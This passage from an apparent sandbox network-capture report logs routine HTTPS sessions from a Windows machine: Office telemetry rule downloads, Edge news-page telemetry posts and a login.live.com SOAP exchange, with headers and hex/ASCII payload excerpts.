2024-11-27 16:59:05 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.7	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:04 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:59:05 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:04 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 9fc3e736-101e-0046-4391-3f91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165904Z-174f7845968j6t2phC1EWRcfe80000000xf0000000001gnw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:59:05 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:04 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:59:05 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:05 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 3452a663-f01e-003c-1f91-3f8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165905Z-174f7845968px8v7hC1EWR08ng0000000xfg00000000atpq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:59:05 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:04 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:59:05 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:05 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 6f07c4eb-901e-0029-3066-40274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165905Z-174f7845968jrjrxhC1EWRmmrs0000000xd0000000006870 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:59:05 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:04 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:59:05 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:05 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 05c034cd-501e-0064-8037-401f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165905Z-174f78459684bddphC1EWRbht40000000wu000000000upgg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:59:05 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.7	49931	52.168.117.168	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:04 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732733367195&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11545 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0941BF85F38264F21CE2AAC1F2AB6567; _EDGE_S=F=1&SID=06C9C66DE9DB682E2F31D329E8596974; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-27 16:59:04 UTC	11545	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 37 54 31 38 3a 34 39 3a 32 37 2e 31 39 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 39 65 62 34 38 37 37 2d 62 38 62 66 2d 34 35 34 37 2d 39 61 61 38 2d 64 36 61 36 63 62 37 63 62 64 32 62 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 37 34 38 35 30 36 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-27T18:49:27.194Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"29eb4877-b8bf-4547-9aa8-d6a6cb7cbd2b","epoch":"2687485063"},"app":{"locale
2024-11-27 16:59:05 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=59c2052be3ad48d89d7d09f62efa0338&HASH=59c2&LV=202411&V=4&LU=1732726745106; Domain=.microsoft.com; Expires=Thu, 27 Nov 2025 16:59:05 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=2328de79113348809c1a1010d869ef73; Domain=.microsoft.com; Expires=Wed, 27 Nov 2024 17:29:05 GMT; Path=/;Secure; SameSite=None time-delta-millis: -6622089 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 27 Nov 2024 16:59:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.7	49932	52.168.117.168	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:05 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732733367199&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5051 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0941BF85F38264F21CE2AAC1F2AB6567; _EDGE_S=F=1&SID=06C9C66DE9DB682E2F31D329E8596974; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-27 16:59:05 UTC	5051	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 37 54 31 38 3a 34 39 3a 32 37 2e 31 39 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 39 65 62 34 38 37 37 2d 62 38 62 66 2d 34 35 34 37 2d 39 61 61 38 2d 64 36 61 36 63 62 37 63 62 64 32 62 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 37 34 38 35 30 36 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-27T18:49:27.198Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"29eb4877-b8bf-4547-9aa8-d6a6cb7cbd2b","epoch":"2687485063"},"app":{"locale
2024-11-27 16:59:05 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=56d78a37386f428da31f89f28713ad3a&HASH=56d7&LV=202411&V=4&LU=1732726745261; Domain=.microsoft.com; Expires=Thu, 27 Nov 2025 16:59:05 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=2f81bb0a2c314de385971f1fce7eed54; Domain=.microsoft.com; Expires=Wed, 27 Nov 2024 17:29:05 GMT; Path=/;Secure; SameSite=None time-delta-millis: -6621938 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 27 Nov 2024 16:59:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.7	49933	52.168.117.168	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:05 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732733368103&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5249 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0941BF85F38264F21CE2AAC1F2AB6567; _EDGE_S=F=1&SID=06C9C66DE9DB682E2F31D329E8596974; _EDGE_V=1; msnup=
2024-11-27 16:59:05 UTC	5249	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 37 54 31 38 3a 34 39 3a 32 38 2e 31 30 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 36 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 39 65 62 34 38 37 37 2d 62 38 62 66 2d 34 35 34 37 2d 39 61 61 38 2d 64 36 61 36 63 62 37 63 62 64 32 62 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 37 34 38 35 30 36 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-27T18:49:28.102Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":6,"installId":"29eb4877-b8bf-4547-9aa8-d6a6cb7cbd2b","epoch":"2687485063"},"app":{"locale
2024-11-27 16:59:06 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=4d2f68c2d1a04d74b0a177fd66f0fa2f&HASH=4d2f&LV=202411&V=4&LU=1732726745852; Domain=.microsoft.com; Expires=Thu, 27 Nov 2025 16:59:05 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ef2e0fb8b8414252a08a803ab1147a62; Domain=.microsoft.com; Expires=Wed, 27 Nov 2024 17:29:05 GMT; Path=/;Secure; SameSite=None time-delta-millis: -6622251 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 27 Nov 2024 16:59:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.7	49934	20.190.147.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:05 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-27 16:59:05 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-27 16:59:06 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 27 Nov 2024 16:58:06 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C537_BL2 x-ms-request-id: 25196621-ab43-4c04-8302-a5ad5e847658 PPServer: PPV: 30 H: BL02EPF0001DA2E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 16:59:05 GMT Connection: close Content-Length: 11389
2024-11-27 16:59:06 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.7	49935	52.168.117.168	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:59:05 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732733368192&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9623 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0941BF85F38264F21CE2AAC1F2AB6567; 